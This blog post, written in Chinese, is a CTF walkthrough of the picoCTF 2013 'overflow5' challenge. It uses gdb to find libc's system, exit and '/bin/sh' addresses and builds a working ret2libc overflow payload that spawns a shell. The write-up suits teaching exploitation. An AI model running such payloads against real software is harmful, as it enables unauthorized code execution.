pico-ctf 2013 overflow-5

栈溢出入门系列入门教程五

本片是栈溢出入门系列教程第五篇文章.
overflow5.c

#include<stdio.h>

void vuln(char *str)
{
  char v2;
  strcpy(&v2, str);
}
int  main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  uid_t euid; // eax@3

  if ( argc == 2 )
  {
    v4 = geteuid();
    setresuid(euid,euid,euid);
    vuln(argv[1]);
    result = 0;
  }
  else
  {
    puts("Usage: buffer_overflow_shellcode [str]");
    result = 1;
  }
  return result;
}

由于没有提供源码, 上面c代码是通过IDA pro转出来的, 并作了稍微的修改.
checksec

checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

本程序有NX防护, 不可以注入shellcode.
NX(DEP): https://en.wikipedia.org/wiki/NX_bit
简单的说就是将代码和数据分开, 是我们注入的shellcode无法执行.
思路: 我们使用ret2libc方法, 用程序本身的system函数和”/bin/sh”来获取shell.


  1. gdb调试overflow5, 查看进程的虚拟地址空间是如何使用的.
$gdb -q overflow5

开启另一个终端, 输入

ps -aux | grep overflow5
5156  0.8  0.3  89076 27156 pts/5    S+   12:46   0:00 gdb -q overflow5
5179  0.0  0.0  15964   932 pts/18   S+   12:46   0:00 grep --color=auto overflow5

记下PID 号, 这里为5156,

sudo cat /proc/5156/maps
下面是打印的部分:
7ffff7ff8000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:16 1447617                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:16 1447617                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

可以看出overflow5的stack是rw-,可读可写不可执行. 但是重点我们看到了.so文件, 就是说overflow5调用了库函数. 而system函数和”/bin/sh”都在库中. 如果我们能让overflow5 调用.so 中的system()函数, 并将”/bin/sh”作为参数传入, 我们就能够获取一个shell.
2.在gdb中找出system和”/bin/sh”的地址.

gdb$ print system
$1 = {<text variable, no debug info>} 0xf7e39940 <system>
gdb$ p exit
$2 = {<text variable, no debug info>} 0xf7e2d7b0 <exit>
(gdb) find 0xf7e2d7b0,+9999999,"/bin/sh"
0xf7f57e8b

3.构造payload.通过调试找出buffer start和返回值地址之间的距离.

buffer start:0xffffca70
返回值地址: 0xffffce7c
相差:1036

于是乎构造出payload:

./overflow5 $(python -c "print 'A'*1036+'\x40\x99\xe3\xf7'+'\xb0\xd7\xe2\xf7'+'\x8b\x7e\xf5\xf7'")
$ 

获取shell.
疑问: 为什么要将exit函数加进去呢?
答: 这个地方必须得有一个4字节的地址, 可以是其他的地址, 为了方便退出才加的.
疑问: eip读取到system的值, 是如何将”/bin/sh”传进去的?
答: 这个就要用到函数之间的参数传递法则. 32位程序一般是通过将参数压栈, 然后通过ebp获得相应的参数.64位程序是通过寄存器传递参数的.对于system函数而言比较特别,咱们先看看它的汇编代码:

0xf7e39940 <+0>:    sub    esp,0xc
0xf7e39943 <+3>:    mov    eax,DWORD PTR [esp+0x10]
0xf7e39947 <+7>:    call   0xf7f1c0dd
0xf7e3994c <+12>:   add    edx,0x1756b4
0xf7e39952 <+18>:   test   eax,eax
0xf7e39954 <+20>:   je     0xf7e39960 <system+32>
0xf7e39956 <+22>:   add    esp,0xc
0xf7e39959 <+25>:   jmp    0xf7e39430
0xf7e3995e <+30>:   xchg   ax,ax
0xf7e39960 <+32>:   lea    eax,[edx-0x5716d]
0xf7e39966 <+38>:   call   0xf7e39430
0xf7e3996b <+43>:   test   eax,eax
0xf7e3996d <+45>:   sete   al
0xf7e39970 <+48>:   add    esp,0xc
0xf7e39973 <+51>:   movzx  eax,al
0xf7e39976 <+54>:   ret   

通过汇编代码可知, system是通过esp来获取相应的参数.
现在来分析system参数的传递过程.
下面是参数调用过程中esp的变化
下面格式是:
汇编代码
执行时的esp情况

ret
ESP: 0xffffcaac --> 0xf7e39940 (<system>:sub    esp,0xc)
进入system函数:
sub    esp,0xc
ESP: 0xffffcab0 --> 0xf7e2d7b0 (<exit>:call  0xf7f1c0d9)
ESP: 0xffffcaa4 ("AAAAAAAA@......")
mov    eax,DWORD PTR [esp+0x10]
x/10x $esp+0x10
0xffffcab4:   0xf7f57e8b    0x00000300

0xffffcaac --> 0xf7e39940 (<system>:    sub    esp,0xc)
0xffffcab0 --> 0xf7e2d7b0 (<exit>:  call   0xf7f1c0d9)
0xffffcab4 --> 0xf7f57e8b ("/bin/sh")

由此可见已将"/bin/sh"的地址传给了eax.
注: 我的环境是ubuntu 16.04 64bit. 不同操作系统, 对应的地址可能不一样, 在测试之前, 请先关闭系统的地址随机能力.文件下载地址:https://github.com/picoCTF/2013-Problems/tree/master/Overflow%205

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值